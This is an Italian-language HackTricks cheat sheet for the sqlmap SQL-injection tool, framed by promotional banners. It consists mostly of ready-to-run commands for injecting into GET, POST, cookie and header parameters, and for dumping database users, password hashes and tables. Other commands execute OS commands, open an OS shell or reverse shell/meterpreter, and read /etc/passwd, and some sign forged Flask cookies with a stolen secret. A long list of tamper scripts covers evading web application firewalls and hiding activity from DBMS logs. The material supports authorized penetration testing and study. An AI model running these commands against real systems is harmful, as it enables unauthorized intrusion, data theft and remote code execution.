SQLMap - Cheetsheat

Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!

Altri modi per supportare HackTricks:

Configurazione immediatamente disponibile per valutazione delle vulnerabilità e test di penetrazione. Esegui un pentest completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla segnalazione. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento ed exploit per dare loro più tempo per approfondire, aprire shell e divertirsi.

Argomenti di base per SQLmap

Generico

-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=http://127.0.0.1:8080
--union-char "GsFRts2" #Help sqlmap identify union SQLi techniques with a weird union char

Recupero delle Informazioni

Interno

--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB
--privileges #Get privileges

Dati del database

--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table  ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column

Posizione dell'iniezione

Da cattura Burp/ZAP

Cattura la richiesta e crea un file req.txt

sqlmap -r req.txt --current-user

Iniezione di richieste GET

sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id

Iniezione di richieste POST

sqlmap -u "http://example.com" --data "username=*&password=*"

Iniezioni negli Intestazioni e in altri Metodi HTTP

#Inside cookie
sqlmap  -u "http://example.com" --cookie "mycookies=*"

#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"

#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"

#The injection is located at the '*'

Indicare la stringa quando l'iniezione ha successo

--string="string_showed_when_TRUE"

Eval

Sqlmap permette l'uso di -e o --eval per elaborare ogni payload prima di inviarlo con un oneliner python. Questo rende molto facile e veloce elaborare in modi personalizzati il payload prima di inviarlo. Nell'esempio seguente la sessione cookie di flask viene firmata da flask con il segreto conosciuto prima di inviarla:

sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump

Shell

La shell

#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami

#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell

#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn

Leggi File

--file-read=/etc/passwd

Esegui lo scraping di un sito web con SQLmap e auto-exploit

sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms

Iniezione di secondo ordine

python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs

Leggi questo postsu come eseguire iniezioni di secondo ordine semplici e complesse con sqlmap.

Personalizzazione dell'iniezione

Impostare un suffisso

python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "

Prefisso

python sqlmap.py -u "http://example.com/?id=1"  -p id --prefix="') "

Aiuto per trovare l'iniezione booleana

# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch

Manipolazione

Ricorda che puoi creare la tua manipolazione in python ed è molto semplice. Puoi trovare un esempio di manipolazione nella pagina Second Order Injection qui.

--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
TamperDescrizione

apostrophemask.py

Sostituisce il carattere apostrofo con il suo corrispettivo a larghezza intera UTF-8

apostrophenullencode.py

Sostituisce il carattere apostrofo con il suo corrispettivo doppio unicode illegale

appendnullbyte.py

Aggiunge il carattere byte NULL codificato alla fine del payload

base64encode.py

Codifica in Base64 tutti i caratteri in un determinato payload

between.py

Sostituisce l'operatore maggiore di ('>') con 'NOT BETWEEN 0 AND #'

bluecoat.py

Sostituisce il carattere spazio dopo l'istruzione SQL con un carattere vuoto casuale valido. Successivamente sostituisce il carattere = con l'operatore LIKE

chardoubleencode.py

Doppia la codifica URL di tutti i caratteri in un determinato payload (senza elaborare già codificati)

commalesslimit.py

Sostituisce istanze come 'LIMIT M, N' con 'LIMIT N OFFSET M'

commalessmid.py

Sostituisce istanze come 'MID(A, B, C)' con 'MID(A FROM B FOR C)'

concat2concatws.py

Sostituisce istanze come 'CONCAT(A, B)' con 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'

charencode.py

Codifica URL tutti i caratteri in un determinato payload (senza elaborare già codificati)

charunicodeencode.py

Codifica URL Unicode i caratteri non codificati in un determinato payload (senza elaborare già codificati). "%u0022"

charunicodeescape.py

Codifica URL Unicode i caratteri non codificati in un determinato payload (senza elaborare già codificati). "\u0022"

equaltolike.py

Sostituisce tutte le occorrenze dell'operatore uguale ('=') con l'operatore 'LIKE'

escapequotes.py

Escape degli apici (' e ")

greatest.py

Sostituisce l'operatore maggiore di ('>') con il corrispettivo 'GREATEST'

halfversionedmorekeywords.py

Aggiunge un commento MySQL versionato prima di ogni parola chiave

ifnull2ifisnull.py

Sostituisce istanze come 'IFNULL(A, B)' con 'IF(ISNULL(A), B, A)'

modsecurityversioned.py

Racchiude la query completa con un commento versionato

modsecurityzeroversioned.py

Racchiude la query completa con un commento a versione zero

multiplespaces.py

Aggiunge spazi multipli attorno alle parole chiave SQL

nonrecursivereplacement.py

Sostituisce parole chiave SQL predefinite con rappresentazioni adatte per la sostituzione (ad es. .replace("SELECT", "")) filtri

percentage.py

Aggiunge un segno di percentuale ('%') davanti a ciascun carattere

overlongutf8.py

Converte tutti i caratteri in un determinato payload (senza elaborare già codificati)

randomcase.py

Sostituisce ciascun carattere della parola chiave con un valore di caso casuale

randomcomments.py

Aggiunge commenti casuali alle parole chiave SQL

securesphere.py

Aggiunge una stringa speciale articolata

sp_password.py

Aggiunge 'sp_password' alla fine del payload per l'offuscamento automatico dai log del DBMS

space2comment.py

Sostituisce il carattere spazio (' ') con commenti

space2dash.py

Sostituisce il carattere spazio (' ') con un commento dash ('--') seguito da una stringa casuale e una nuova riga ('\n')

space2hash.py

Sostituisce il carattere spazio (' ') con un carattere cancelletto ('#') seguito da una stringa casuale e una nuova riga ('\n')

space2morehash.py

Sostituisce il carattere spazio (' ') con un carattere cancelletto ('#') seguito da una stringa casuale e una nuova riga ('\n')

space2mssqlblank.py

Sostituisce il carattere spazio (' ') con un carattere vuoto casuale da un insieme valido di caratteri alternativi

space2mssqlhash.py

Sostituisce il carattere spazio (' ') con un carattere cancelletto ('#') seguito da una nuova riga ('\n')

space2mysqlblank.py

Sostituisce il carattere spazio (' ') con un carattere vuoto casuale da un insieme valido di caratteri alternativi

space2mysqldash.py

Sostituisce il carattere spazio (' ') con un commento dash ('--') seguito da una nuova riga ('\n')

space2plus.py

Sostituisce il carattere spazio (' ') con il simbolo più ('+')

space2randomblank.py

Sostituisce il carattere spazio (' ') con un carattere vuoto casuale da un insieme valido di caratteri alternativi

symboliclogical.py

Sostituisce gli operatori logici AND e OR con i loro corrispettivi simbolici (&& e

unionalltounion.py

Sostituisce UNION ALL SELECT con UNION SELECT

unmagicquotes.py

Sostituisce il carattere apice (') con una combinazione multibyte %bf%27 insieme a un commento generico alla fine (per farlo funzionare)

uppercase.py

Sostituisce ciascun carattere della parola chiave con il valore in maiuscolo 'INSERT'

varnish.py

Aggiunge un'intestazione HTTP 'X-originating-IP'

versionedkeywords.py

Racchiude ciascuna parola chiave non di funzione con un commento MySQL versionato

versionedmorekeywords.py

Racchiude ciascuna parola chiave con un commento MySQL versionato

xforwardedfor.py

Aggiunge un'intestazione HTTP falsa 'X-Forwarded-For'

Configurazione immediatamente disponibile per valutazione delle vulnerabilità e test di penetrazione. Esegui un pentest completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla segnalazione. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento ed exploit per restituire loro del tempo per approfondire, aprire shell e divertirsi.

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Last updated